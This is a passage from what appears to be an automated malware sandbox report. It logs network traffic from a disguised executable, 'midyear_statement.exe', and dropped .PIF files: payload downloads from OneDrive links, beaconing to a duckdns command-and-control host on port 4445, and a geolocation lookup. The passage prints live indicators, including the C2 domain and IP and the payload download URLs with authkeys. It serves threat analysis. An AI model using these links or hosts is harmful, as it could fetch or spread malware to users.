Mar 28, 2024 13:59:37.429744005 CET	49728	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:37.429764032 CET	443	49728	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:37.429778099 CET	49728	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:37.429784060 CET	443	49728	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:38.530673981 CET	49730	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:38.530709028 CET	443	49730	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:38.530795097 CET	49730	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:38.530963898 CET	49730	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:38.530998945 CET	443	49730	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:38.531059980 CET	49730	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:38.553980112 CET	49731	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:38.554014921 CET	443	49731	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:38.554130077 CET	49731	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:38.554477930 CET	49731	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:38.554492950 CET	443	49731	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:38.861382961 CET	443	49731	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:38.861449957 CET	49731	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:38.862847090 CET	49731	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:38.862855911 CET	443	49731	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:38.863133907 CET	443	49731	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:38.864408016 CET	49731	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:38.912237883 CET	443	49731	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:39.286319017 CET	443	49731	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:39.286426067 CET	443	49731	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:39.286550999 CET	49731	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:39.286900043 CET	49731	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:39.286916971 CET	443	49731	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:39.286942959 CET	49731	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:39.286947966 CET	443	49731	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:40.397531033 CET	49733	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:40.397578001 CET	443	49733	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:40.397670984 CET	49733	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:40.397762060 CET	49733	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:40.397793055 CET	443	49733	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:40.397846937 CET	49733	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:40.462028980 CET	49734	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:40.462073088 CET	443	49734	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:40.462148905 CET	49734	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:40.462493896 CET	49734	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:40.462507963 CET	443	49734	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:40.769618034 CET	443	49734	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:40.769857883 CET	49734	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:40.771321058 CET	49734	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:40.771331072 CET	443	49734	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:40.771603107 CET	443	49734	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:40.772902012 CET	49734	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:40.820239067 CET	443	49734	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:41.032602072 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:41.033870935 CET	49708	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:41.124510050 CET	443	49734	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:41.124588013 CET	443	49734	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:41.124655008 CET	49734	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:41.124792099 CET	49734	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:41.124809980 CET	443	49734	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:41.124820948 CET	49734	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:41.124825954 CET	443	49734	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:41.247692108 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 14:00:11.045365095 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 14:00:11.048857927 CET	49708	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 14:00:11.264569998 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 14:00:41.068749905 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 14:00:41.069926023 CET	49708	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 14:00:41.280073881 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 14:01:05.998563051 CET	49712	80	192.168.2.7	178.237.33.50
Mar 28, 2024 14:01:06.591893911 CET	49712	80	192.168.2.7	178.237.33.50
Mar 28, 2024 14:01:07.591907978 CET	49712	80	192.168.2.7	178.237.33.50
Mar 28, 2024 14:01:09.388843060 CET	49712	80	192.168.2.7	178.237.33.50
Mar 28, 2024 14:01:11.129256964 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 14:01:11.130606890 CET	49708	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 14:01:11.344264030 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 14:01:13.091897964 CET	49712	80	192.168.2.7	178.237.33.50
Mar 28, 2024 14:01:20.189464092 CET	49712	80	192.168.2.7	178.237.33.50
Mar 28, 2024 14:01:34.404611111 CET	49712	80	192.168.2.7	178.237.33.50
Mar 28, 2024 14:01:41.205302954 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 14:01:41.208066940 CET	49708	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 14:01:41.411581993 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 14:02:11.518625975 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 14:02:11.520525932 CET	49708	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 14:02:11.734584093 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 14:02:41.585120916 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 14:02:41.586486101 CET	49708	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 14:02:41.801718950 CET	4445	49708	192.3.109.132	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 28, 2024 13:58:58.458333969 CET	50110	53	192.168.2.7	1.1.1.1
Mar 28, 2024 13:58:59.342339039 CET	58254	53	192.168.2.7	1.1.1.1
Mar 28, 2024 13:59:01.548681021 CET	52542	53	192.168.2.7	1.1.1.1
Mar 28, 2024 13:59:03.433383942 CET	63160	53	192.168.2.7	1.1.1.1
Mar 28, 2024 13:59:14.766247034 CET	62960	53	192.168.2.7	1.1.1.1
Mar 28, 2024 13:59:14.901407003 CET	53	62960	1.1.1.1	192.168.2.7
Mar 28, 2024 13:59:16.059748888 CET	49991	53	192.168.2.7	1.1.1.1
Mar 28, 2024 13:59:16.157485962 CET	53	49991	1.1.1.1	192.168.2.7
Mar 28, 2024 13:59:28.080483913 CET	54833	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 28, 2024 13:58:58.458333969 CET	192.168.2.7	1.1.1.1	0xcdd8	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 13:58:59.342339039 CET	192.168.2.7	1.1.1.1	0xea44	Standard query (0)	abqscw.sn.files.1drv.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 13:59:01.548681021 CET	192.168.2.7	1.1.1.1	0x5c95	Standard query (0)	aborlw.sn.files.1drv.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 13:59:03.433383942 CET	192.168.2.7	1.1.1.1	0x589a	Standard query (0)	abpoxw.sn.files.1drv.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 13:59:14.766247034 CET	192.168.2.7	1.1.1.1	0xf88	Standard query (0)	www.zuckdgreb.duckdns.org	A (IP address)	IN (0x0001)	false
Mar 28, 2024 13:59:16.059748888 CET	192.168.2.7	1.1.1.1	0xf4d5	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 13:59:28.080483913 CET	192.168.2.7	1.1.1.1	0xd12d	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 28, 2024 13:58:58.554639101 CET	1.1.1.1	192.168.2.7	0xcdd8	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 13:58:58.554639101 CET	1.1.1.1	192.168.2.7	0xcdd8	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 13:58:58.554639101 CET	1.1.1.1	192.168.2.7	0xcdd8	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 13:58:58.554639101 CET	1.1.1.1	192.168.2.7	0xcdd8	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Mar 28, 2024 13:58:58.554639101 CET	1.1.1.1	192.168.2.7	0xcdd8	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Mar 28, 2024 13:58:59.486609936 CET	1.1.1.1	192.168.2.7	0xea44	No error (0)	abqscw.sn.files.1drv.com	sn-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 13:58:59.486609936 CET	1.1.1.1	192.168.2.7	0xea44	No error (0)	sn-files.fe.1drv.com	odc-sn-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 13:59:01.684077024 CET	1.1.1.1	192.168.2.7	0x5c95	No error (0)	aborlw.sn.files.1drv.com	sn-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 13:59:01.684077024 CET	1.1.1.1	192.168.2.7	0x5c95	No error (0)	sn-files.fe.1drv.com	odc-sn-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 13:59:03.562817097 CET	1.1.1.1	192.168.2.7	0x589a	No error (0)	abpoxw.sn.files.1drv.com	sn-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 13:59:03.562817097 CET	1.1.1.1	192.168.2.7	0x589a	No error (0)	sn-files.fe.1drv.com	odc-sn-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 13:59:14.901407003 CET	1.1.1.1	192.168.2.7	0xf88	No error (0)	www.zuckdgreb.duckdns.org		192.3.109.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 13:59:16.157485962 CET	1.1.1.1	192.168.2.7	0xf4d5	No error (0)	geoplugin.net		178.237.33.50	A (IP address)	IN (0x0001)	false
Mar 28, 2024 13:59:28.175837040 CET	1.1.1.1	192.168.2.7	0xd12d	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 13:59:28.175837040 CET	1.1.1.1	192.168.2.7	0xd12d	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 13:59:28.175837040 CET	1.1.1.1	192.168.2.7	0xd12d	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 13:59:28.175837040 CET	1.1.1.1	192.168.2.7	0xd12d	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Mar 28, 2024 13:59:28.175837040 CET	1.1.1.1	192.168.2.7	0xd12d	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

onedrive.live.com

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49712	178.237.33.50	80	7896	C:\Users\Public\Libraries\wkrriuhD.pif

Timestamp	Bytes transferred	Direction	Data
Mar 28, 2024 13:59:16.440784931 CET	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Mar 28, 2024 13:59:16.624198914 CET	1197	IN	HTTP/1.1 200 OK date: Thu, 28 Mar 2024 12:59:16 GMT server: Apache content-length: 989 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 32 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 57 61 73 68 69 6e 67 74 6f 6e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 44 69 73 74 72 69 63 74 20 6f 66 20 43 6f 6c 75 6d 62 69 61 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 43 6f 64 65 22 3a 22 44 43 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 44 69 73 74 72 69 63 74 20 6f 66 20 43 6f 6c 75 6d 62 69 61 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 61 72 65 61 43 6f 64 65 22 3a 22 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 6d 61 43 6f 64 65 22 3a 22 35 31 31 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 69 6e 45 55 22 3a 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 65 75 56 41 54 72 61 74 65 22 3a 66 61 6c 73 65 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 6c 61 74 69 74 75 64 65 22 3a 22 33 38 2e 38 39 34 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 37 2e 30 33 36 35 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 6c 6f 63 61 74 69 6f 6e 41 63 63 75 72 61 63 79 52 61 64 69 75 73 22 3a 22 32 30 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 75 72 72 65 6e 63 79 53 79 6d 62 6f 6c 22 3a 22 24 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 75 72 72 65 6e 63 79 53 79 6d 62 6f 6c 5f 55 54 46 38 22 3a 22 24 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 75 72 72 65 6e 63 79 43 6f 6e 76 65 72 74 65 72 22 3a 30 0a 7d Data Ascii: { "geoplugin_request":"102.165.48.43", "geoplugin_status":200, "geoplugin_delay":"2ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"Washington", "geoplugin_region":"District of Columbia", "geoplugin_regionCode":"DC", "geoplugin_regionName":"District of Columbia", "geoplugin_areaCode":"", "geoplugin_dmaCode":"511", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"38.894", "geoplugin_longitude":"-77.0365", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	13.107.139.11	443	6428	C:\Users\user\Desktop\midyear_statement.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 12:58:59 UTC	213	OUT	GET /download?resid=653A5056738F1A02%21262&authkey=!ANnz1a3_33sd8v4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-03-28 12:58:59 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://abqscw.sn.files.1drv.com/y4m-zYwpFACL5iXnxCgcfUGrba1rEn19VhjL7w-TerMTn_xp_gGpLreK-PlTDk9AFPAMe5HsUP3qj-MGltyTCGj4aJi9EHD48Te8_jT09vDvox1G7prWDzTDfk9sLUsrB_YQnpiMbMl2L_RIMZ7RQGUqIfg2_aWYOD_Pf0xfL4oorqUMJfgr9B01DU89645jiAwNuQsuLfJp-KkNbE5nCYQhg/255_Dhuirrkwdxq?download&psid=1 Set-Cookie: E=P:URKe1SZP3Ig=:LoLtWqQ1Z3eNsf6TMSuHA8hrfNoAFzXtZhZwDi+vM+k=:F; domain=.live.com; path=/ Set-Cookie: xid=5f93dee4-b388-46b0-9f44-6492dcd13c0f&&ODSP-ODWEB-ODCF&124; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 28-Mar-2024 11:18:59 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Thu, 04-Apr-2024 12:58:59 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 68d84894c4-7pvdx X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B647429216164F639415A983F6774A3F Ref B: BN3EDGE0814 Ref C: 2024-03-28T12:58:59Z Date: Thu, 28 Mar 2024 12:58:58 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49703	13.107.139.11	443	6428	C:\Users\user\Desktop\midyear_statement.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 12:59:01 UTC	213	OUT	GET /download?resid=653A5056738F1A02%21263&authkey=!AN5i5LusLT79ejg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-03-28 12:59:01 UTC	1181	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://aborlw.sn.files.1drv.com/y4mdIO5pciNH8fpwGOAAIADTo3pXjwRKPU-X6-J-zpDME1cfDB5-C-zJvJ0Zyx9NPNNsdX6VOMyHwKbWaiIcap2Zgvt0uEfbx1VtmbUV1pB4yROzM_enZjht50aHzMBFtXCcWKHbMiwUGRfkRpdYxkAdC7XyjDLJbd83GrL0fQFPvBMuibzaxQkijEzE2XaLliOxjjg7vASLv3lpX-FD_3i6w/255_Dhuirrkwdxq%201?download&psid=1 Set-Cookie: E=P:c97c1iZP3Ig=:KLjk01uvYiAW3lg36GDtxOfDLv/EkgdaPaIfYhsFi6w=:F; domain=.live.com; path=/ Set-Cookie: xid=88a0d70f-7ea3-440e-b0b4-1db931472409&&ODSP-ODWEB-ODCF&124; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 28-Mar-2024 11:19:01 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Thu, 04-Apr-2024 12:59:01 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 55f6fc7498-f4zdb X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F4E562D52FFB4BED8CFB4CD8B8D404EC Ref B: BN3EDGE0510 Ref C: 2024-03-28T12:59:01Z Date: Thu, 28 Mar 2024 12:59:01 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49706	13.107.139.11	443	6428	C:\Users\user\Desktop\midyear_statement.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 12:59:03 UTC	213	OUT	GET /download?resid=653A5056738F1A02%21264&authkey=!AJnxVlB06nkVKsk HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-03-28 12:59:03 UTC	1181	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://abpoxw.sn.files.1drv.com/y4ms4H1tLcGEiSUU0ZXyS-1UhN1A1nY0HWv2H1VcTggiyFj5GyqXlnGNUvRGU1yWLZHBWtBLkNk7XrRTzZ1dmyUa0J__sLMIgAkVBZSn4LDSXDO0LsN9LnFsWe4K460IH2mRjrZAFM_P4UsnPwfW5_4UCDL4q61Ho8nzTRpE98lSCzh5879l2RhLQJ5TGUl9U57UBHgXMfa4meMhik09jbblg/255_Dhuirrkwdxq%202?download&psid=1 Set-Cookie: E=P:wSUP2CZP3Ig=:vb8UYGBQ1ELQn1t2XVzdh1QzbSg1K0KAcz4YY414YGs=:F; domain=.live.com; path=/ Set-Cookie: xid=c255408b-155b-4eb2-ab9a-4c6bb40d53de&&ODSP-ODWEB-ODCF&124; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 28-Mar-2024 11:19:03 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Thu, 04-Apr-2024 12:59:03 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 68d84894c4-wh8lp X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 14A3944AA3794427A37A8D3A53B995BC Ref B: BN3EDGE0220 Ref C: 2024-03-28T12:59:03Z Date: Thu, 28 Mar 2024 12:59:02 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49719	13.107.139.11	443	7544	C:\Users\Public\Libraries\Dhuirrkw.PIF

Timestamp	Bytes transferred	Direction	Data
2024-03-28 12:59:28 UTC	213	OUT	GET /download?resid=653A5056738F1A02%21262&authkey=!ANnz1a3_33sd8v4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-03-28 12:59:29 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://abqscw.sn.files.1drv.com/y4mu3pWdZcj6Ve9WuLc8z50Ki8byXob_qMUj9cAdyMI-JlRVlQqz67Is5cy4lCX-g6MyBI4YNcvIdwxkWglTN1N8CY4cxMJjknOhla1QafWxdqZ0hdkCEBtgXH54x0vLiXgOU1cS8YybPN2dzFDtnkBcobZ8Mr4mXJ2zQSpmuWvSvzOBuuqnuX-boMZkf9QkzPjh8t6Uaxsr_nGRHX0lZhPqg/255_Dhuirrkwdxq?download&psid=1 Set-Cookie: E=P:IvE75yZP3Ig=:ThfCUuC1YIDpZNfrsquojGN6S2Stvds78s23vJ/gOKE=:F; domain=.live.com; path=/ Set-Cookie: xid=1a408388-8313-4f6c-aaa0-4719760cf4d1&&ODSP-ODWEB-ODCF&124; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 28-Mar-2024 11:19:28 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Thu, 04-Apr-2024 12:59:28 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 55f6fc7498-q87sk X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: CBCD08A13CC84363BD9FF580C6CA167E Ref B: BN3EDGE0510 Ref C: 2024-03-28T12:59:28Z Date: Thu, 28 Mar 2024 12:59:28 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49722	13.107.139.11	443	7544	C:\Users\Public\Libraries\Dhuirrkw.PIF

Timestamp	Bytes transferred	Direction	Data
2024-03-28 12:59:30 UTC	213	OUT	GET /download?resid=653A5056738F1A02%21263&authkey=!AN5i5LusLT79ejg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-03-28 12:59:31 UTC	1181	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://aborlw.sn.files.1drv.com/y4mLOg16uNX2Id3t-nfFLVYL7CZhAgTRemSr1q_NX-Mvx_fpOOS9Dz7js9NACEXeYp59yyMOCGdVrkXC8udJaIfz1H8nMhuWKfjagQZcuRGJ1Yb2wZYOWm-d88Hj_uRkwI3lAFpIlsA6h_9dXusozCqeRmVf4a3Hwg5IawezbeHlk8-sROiCd2d-2kiTRt_8XOO7uHQvVZ9HJhyRGGqt6cSAQ/255_Dhuirrkwdxq%201?download&psid=1 Set-Cookie: E=P:XcGH6CZP3Ig=:J+IBFRK6UnhhGtrRUuqbJqct6Wvktu8EbgJa+BsUHj0=:F; domain=.live.com; path=/ Set-Cookie: xid=36ad82bc-3bb3-4086-b7f9-f2ae1c694351&&ODSP-ODWEB-ODCF&124; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 28-Mar-2024 11:19:30 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Thu, 04-Apr-2024 12:59:30 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 55f6fc7498-2tq7v X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 87308BB7CB564EE4A4CB452E3A67C19F Ref B: BN3EDGE0316 Ref C: 